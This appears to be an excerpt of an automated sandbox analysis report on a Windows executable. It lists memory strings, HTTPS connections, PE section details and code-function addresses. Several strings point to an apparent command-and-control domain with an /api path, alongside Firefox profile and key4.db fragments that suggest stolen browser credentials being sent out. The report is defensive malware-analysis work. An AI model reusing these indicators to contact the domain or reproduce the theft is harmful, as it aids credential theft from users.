Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/%
Source: Wvo9FU4qo9.exe, 00000000.00000003.1598596473.0000000005841000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1641117823.000000000584F000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1598617419.0000000005849000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1598795849.000000000584F000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000002.1673430816.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/3e
Source: Wvo9FU4qo9.exe, 00000000.00000003.1598596473.0000000005841000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1570295683.000000000584C000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1570035019.0000000005849000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1598617419.0000000005849000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1598795849.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ZQ
Source: Wvo9FU4qo9.exe, Wvo9FU4qo9.exe, 00000000.00000003.1670045021.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1622775705.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000002.1671678492.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1602922474.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1641382602.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1602657804.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api0
Source: Wvo9FU4qo9.exe, 00000000.00000003.1602922474.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1602657804.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiryBI
Source: Wvo9FU4qo9.exe, 00000000.00000002.1673430816.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/gL0
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/l
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi=
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671306790.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671306790.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apiion.txtPK
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671306790.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apixxd8pi.default-release/key4.dbPK
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49714 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: Wvo9FU4qo9.exe	Static PE information: section name:
Source: Wvo9FU4qo9.exe	Static PE information: section name: .idata
Source: Wvo9FU4qo9.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_3_00F7E5D5	0_3_00F7E5D5
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_3_00F68211	0_3_00F68211
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004F0460	0_2_004F0460
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004EC5A0	0_2_004EC5A0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004B8600	0_2_004B8600
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004BE687	0_2_004BE687
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004F0D20	0_2_004F0D20
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004E8EA0	0_2_004E8EA0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004C1227	0_2_004C1227
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004E9280	0_2_004E9280
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004DD34A	0_2_004DD34A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004D7440	0_2_004D7440
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004C57C0	0_2_004C57C0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004D1D00	0_2_004D1D00
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0056207A	0_2_0056207A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0058206F	0_2_0058206F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005D0067	0_2_005D0067
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0058A012	0_2_0058A012
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005DC011	0_2_005DC011
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00588016	0_2_00588016
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005F000F	0_2_005F000F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005EA001	0_2_005EA001
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0057E035	0_2_0057E035
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C0022	0_2_005C0022
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005CC023	0_2_005CC023
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004DA0CA	0_2_004DA0CA
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005140CB	0_2_005140CB
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_006000C1	0_2_006000C1
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004C60E9	0_2_004C60E9
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005340F6	0_2_005340F6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004DC0E6	0_2_004DC0E6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C40F2	0_2_005C40F2
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0052E0EC	0_2_0052E0EC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_006380A3	0_2_006380A3
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004DC09E	0_2_004DC09E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005AA08F	0_2_005AA08F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0054C082	0_2_0054C082
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0055E088	0_2_0055E088
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005640AC	0_2_005640AC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00644166	0_2_00644166
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0063A160	0_2_0063A160
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00574150	0_2_00574150
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004DC09E	0_2_004DC09E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00532140	0_2_00532140
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005FA147	0_2_005FA147
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004C8169	0_2_004C8169
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C2179	0_2_005C2179
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004B6160	0_2_004B6160
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0063214C	0_2_0063214C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0052216A	0_2_0052216A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00550117	0_2_00550117
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0061213F	0_2_0061213F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0062213C	0_2_0062213C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0059A13D	0_2_0059A13D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C	0_2_0067410C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00614117	0_2_00614117
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004D81CC	0_2_004D81CC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005F41D8	0_2_005F41D8
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005BE1CE	0_2_005BE1CE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005F61C6	0_2_005F61C6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005CC1FC	0_2_005CC1FC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005921F8	0_2_005921F8
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005A01F8	0_2_005A01F8
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0064A1C3	0_2_0064A1C3
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0062E1D7	0_2_0062E1D7
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005BC19B	0_2_005BC19B
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00528198	0_2_00528198
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004DE180	0_2_004DE180
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00560180	0_2_00560180
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0055618F	0_2_0055618F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0052618F	0_2_0052618F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005B21B7	0_2_005B21B7
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0062818E	0_2_0062818E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005FE1AE	0_2_005FE1AE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0052A1AE	0_2_0052A1AE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0063019D	0_2_0063019D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005AE244	0_2_005AE244
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0052C277	0_2_0052C277
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0053E264	0_2_0053E264
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004B4270	0_2_004B4270
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0056E268	0_2_0056E268
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00524210	0_2_00524210
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0057A210	0_2_0057A210
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0063422E	0_2_0063422E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00558236	0_2_00558236
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0058423C	0_2_0058423C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0056C23D	0_2_0056C23D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004CE220	0_2_004CE220
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00562225	0_2_00562225
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0058E22C	0_2_0058E22C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005A2224	0_2_005A2224
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005A62DE	0_2_005A62DE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005442DC	0_2_005442DC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005D22D2	0_2_005D22D2
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0051C2C3	0_2_0051C2C3
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005D42CF	0_2_005D42CF
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0053C2C4	0_2_0053C2C4
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005602CC	0_2_005602CC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004D42D0	0_2_004D42D0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005302F9	0_2_005302F9
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005862E9	0_2_005862E9
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0062A2D6	0_2_0062A2D6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005422E8	0_2_005422E8
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005CE282	0_2_005CE282
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005702BA	0_2_005702BA
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005782A7	0_2_005782A7
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005222A3	0_2_005222A3
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067E295	0_2_0067E295
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0061C297	0_2_0061C297
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00546357	0_2_00546357
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00618371	0_2_00618371
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0059C37A	0_2_0059C37A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005E4377	0_2_005E4377
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00626349	0_2_00626349
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005F836F	0_2_005F836F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00648350	0_2_00648350
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0057C301	0_2_0057C301
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00590332	0_2_00590332
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005FE331	0_2_005FE331
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005B0320	0_2_005B0320
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0060A3E1	0_2_0060A3E1
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004D83D8	0_2_004D83D8
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_006423FE	0_2_006423FE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005B8394	0_2_005B8394
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0057A38A	0_2_0057A38A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0053C3B9	0_2_0053C3B9
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0054C3BF	0_2_0054C3BF
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0061A394	0_2_0061A394
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005B43A2	0_2_005B43A2
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005923A3	0_2_005923A3
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0060639D	0_2_0060639D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00510451	0_2_00510451
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004EA440	0_2_004EA440
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C644D	0_2_005C644D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0059844B	0_2_0059844B
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005A8442	0_2_005A8442
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0054E44A	0_2_0054E44A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0060047F	0_2_0060047F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0063C45B	0_2_0063C45B
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00582414	0_2_00582414
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0058A415	0_2_0058A415
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005A0409	0_2_005A0409
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0057240E	0_2_0057240E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005CE43C	0_2_005CE43C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0055A434	0_2_0055A434
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00602402	0_2_00602402
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0054A437	0_2_0054A437
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005D0436	0_2_005D0436
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0064A409	0_2_0064A409
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005E2431	0_2_005E2431
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C442C	0_2_005C442C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0064041C	0_2_0064041C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004D04C6	0_2_004D04C6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_006144F2	0_2_006144F2
